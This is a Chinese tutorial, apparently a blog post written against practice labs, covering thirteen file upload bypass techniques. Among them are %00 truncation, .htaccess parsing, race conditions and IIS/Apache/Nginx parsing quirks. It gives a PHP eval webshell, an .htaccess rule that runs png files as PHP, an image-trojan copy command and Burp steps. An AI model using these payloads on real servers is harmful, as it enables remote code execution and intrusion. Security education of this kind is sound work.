文件上传漏洞

目录

1.前端JS验证绕过

2.服务端MIME验证绕过

3.黑名单绕过

4..htacess解析绕过

5.大小写绕过

6.双写绕过

[7.空格/点 绕过](#7.空格/点 绕过)

[8.::DATA绕过](#8.::DATA绕过)

9.GET00截断

10.POST00截断

11.条件竞争绕过

12.二次渲染绕过

13.中间件解析


1.前端JS验证绕过

原理:前端JS校验后缀,仅允许 jpg/png/gif

方法1: 禁用JS:浏览器地址栏输入about:config,关闭javascript.enabled,刷新页面直接上传php

方法2: 抓包改后缀:将 php 木马先改后缀为 jpg上传,Bp抓包改回 php 放包即可

点击上传后缀为 php 的文件,Bp抓取不到此数据包,并弹出上传的文件不符合类型要求,于是猜想该代码并没有被上传到后端服务器

2.服务端MIME验证绕过

原理:后端校验 Content-Type,仅允许 image/jpeg/image/png/gif

上传php木马,Bp抓包修改请求头中 Content-Type为图片格式,放包完成上传

3.黑名单绕过

原理:黑名单禁止 php/asp/jsp 等,在某些特定环境中某些特殊后缀 php3/php5/phtml 等会被当作 php 文件 解析

将木马改为 test.php5,直接上传,访问该文件即可执行 php 代码

4..htacess解析绕过

原理:黑名单过滤严格,但未禁 .htaccess,可通过它指定文件解析规则

  • .htaccess 是Apache服务器特有的配置文件,主要作用:URL重写、自定义错误页面、MIME类型配置及访问权限控制等,主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。
  • .htaccess 的用途范围主要针对当前目录
  • 配置即生效,上传 .htaccess 后无需重启 Apache,直接访问图片马即可生效

1.创建 .htaccess文件,内容如下:

AddType application/x-httpd-php .png #如果当前目录下有png文件,指定png按php解析

2.先上传图片马 2.png(制作图片马:copy 1.png/b + test.php/a 2.png)

3.再上传 .htaccess,用蚁剑连接 http://127.0.0.1/upload/2.png 即可

5.大小写绕过

原理:黑名单仅匹配小写后缀,未做大小写统一处理

将木马命名为 test.PHp 直接上传,服务器会解析为php文件

6.双写绕过

原理:上传 test.pphphp 后,后端删除中间的 php,保留结果为 test.php

7.空格/点 绕过

原理:后端未过滤文件名的末尾空格,windows会自动截断空格

1.Bp抓包,将文件名改为 test.php (末尾加 空格

2.放包后 windows 服务器保存为 test.php,成功解析

1.Bp抓包改文件名为 test.php**.,(末尾加点**)

2.放包后 windows 服务器保存为 test.php,成功解析

8.::$DATA绕过

原理:windows下 filename::$DATA 会保留原文件内容,后缀失效,仅识别前面的文件名作为实际文件名。

#::DATA 是 NTFS 文件系统中的一种数据流标识,用于访问文件的主要数据流

9.GET00截断

原理:PHP旧版本存在 NULL字节(空字符)截断漏洞(本质是利用ASCII码中编号为 0 的空字符 \0 的特性:程序在解析 文件路径/文件名 时,遇到空字符 \0 时,会认为字符串已结束,忽略 \0 后面的所有内容,从而实现 "截断" 后续字符、构造非法路径/文件名的目的)

  • %00 是空字符 \0 的url编码形式,在url传输中,无法直接传递 \0 ,需编码为 %00
  • 漏洞的核心是解析层面的截断,并非修改文件本身,而是让服务器解析时忽略后续内容
  • 含空字符的字符串:test.php\0.jpg,程序读取到 \0 时,会判定字符串已结束,仅识别前面的 test.php, 后面的 .jpg 会被直接忽略,这就是 "截断" 的本质。test.php%00.jpg 会被解析为 test.php
  • 确保 PHP版本 < 5.3.4
  • PHP的 magic_quotes_gpc 为OFF状态

上传 test.jpg 抓包,修改保存路径为 test2.php%00 (此处php文件名任意)

10.POST00截断

GET 可以直接跟在URL后面,而POST会将参数放在请求体里面进行传输

1.上传 test.jpg 抓包,在请求体中找到文件保存路径,修改为 test3.php, (加逗号是为了方便查找十六进制的位置)

2.编辑十六进制,, 的十六进制是 2c,将 2c 改成 00

11.条件竞争绕过

原理:后端先上传文件,再校验后缀,不符合则删除,存在时间差

1.准备木马 test.php内容为:<?php fwrite(fopen('test.php','w'),'<?php eval($_POST[cmd]);?>');?>

2.Bp Intruder 循环发送上传请求,同时用浏览器高频访问 test.php

3.利用时间差执行代码,生成 test2.php 蚁剑连接即可

上传test.php,BP抓包发送到 Intruder模块,Clear删除标识,在Payload中选择Null payload,再勾选Continue indefinitely,表示无限期地访问,开始攻击

12.二次渲染绕过

#使用用户上传的图片生成新的图片

原理:后端用 GD 库二次渲染图片,会删除恶意代码,需找到渲染后保留代码的位置

上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新。

处理完成后,根据原有的图片对比,找到没被修改的部分,利用这一部分生成一个新的图片并放到网站的标签进行显示。

1.先上传图片马,上传之后服务器会对其进行二次渲染

2.然后将渲染后的图片保存下来与原图片马进行对比

3.找到上传前后没被修改的部分,利用这一部分插入代码,生成新的图片马

4.上传新的图片马,访问图片马,代码被执行

上传前后对比发现,上传的图片马已被渲染,上传前插入的代码消失不见了,找到上传前后不变的部分插入代码,生成新的图片马再上传即可

13.中间件解析

|---------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 中间件 | 利用条件 |
| Apache | **多后缀解析:**从后向前解析,遇到可解析后缀即停止; 路径解析: 上传 1.php.jpg 合法后缀绕过上传校验,访问时构造URL 1.php%0a.jpg,加 %0a 截断 .jpg,Apache会忽略 %0a 后的 .jpg,按 .php 解析。 |
| Nginx | 路径跳转解析: 若URL中包含 ../ 或特殊路径,会触发错误跳转,导致非脚本文件被解析。上传 1.jpg,访问 /1.jpg/index.php,Nginx会将 1.jpg 作为 index.php 的参数传递,最终被PHP解析。 |
| IIS | IIS6特殊后缀解析: IIS6默认会解析 .asp/.asa/.cer/.cdx 等后缀为 asp 脚本; IIS6文件夹名解析: 若文件夹名包含 .asp,则该文件夹下所有文件都会被解析为 asp 脚本; IIS6分号截断解析: IIS6会忽略文件名中 ; 后的内容,上传 1.asp;.jpg,IIS会忽略 ;.jpg,按.asp解析执行; IIS7.0/IIS7.5路径跳转触发解析: 在文件路径 /1.jpg 后面加上 1.php,会将 /1.jpg/1.php 解析为 php文件。 |

相关推荐
德迅云安全—珍珍9 小时前
2026 年网络安全预测:AI 全面融入实战的 100+行业洞察
人工智能·安全·web安全
FreeBuf_21 小时前
“lc“键漏洞:LangChain高危缺陷(CVE-2025-68664)使提示注入攻击可窃取机密
安全·web安全·langchain
白帽子黑客罗哥1 天前
网络安全防护技术与实战策略:从基础防御到前沿应对
安全·web安全·php
安全渗透Hacker1 天前
PHPStudy快速搭建DVWA靶场完整指南
安全·web安全·网络安全·安全性测试
真上帝的左手1 天前
7. 网络安全-等保
网络·安全·web安全
小张的博客之旅1 天前
“复兴杯”2025第五届大学生网络安全精英赛 (排位赛wp)
网络·安全·web安全
菜根Sec1 天前
网络安全笑话
web安全·网络安全·渗透测试
漏洞文库-Web安全1 天前
强网杯 2024 web pyblockly 单题wp
安全·web安全·网络安全·ctf
安全渗透Hacker1 天前
新一代特征扫描器afrog与经典引擎Xray深度解析
网络·安全·web安全·网络安全·自动化·系统安全·安全性测试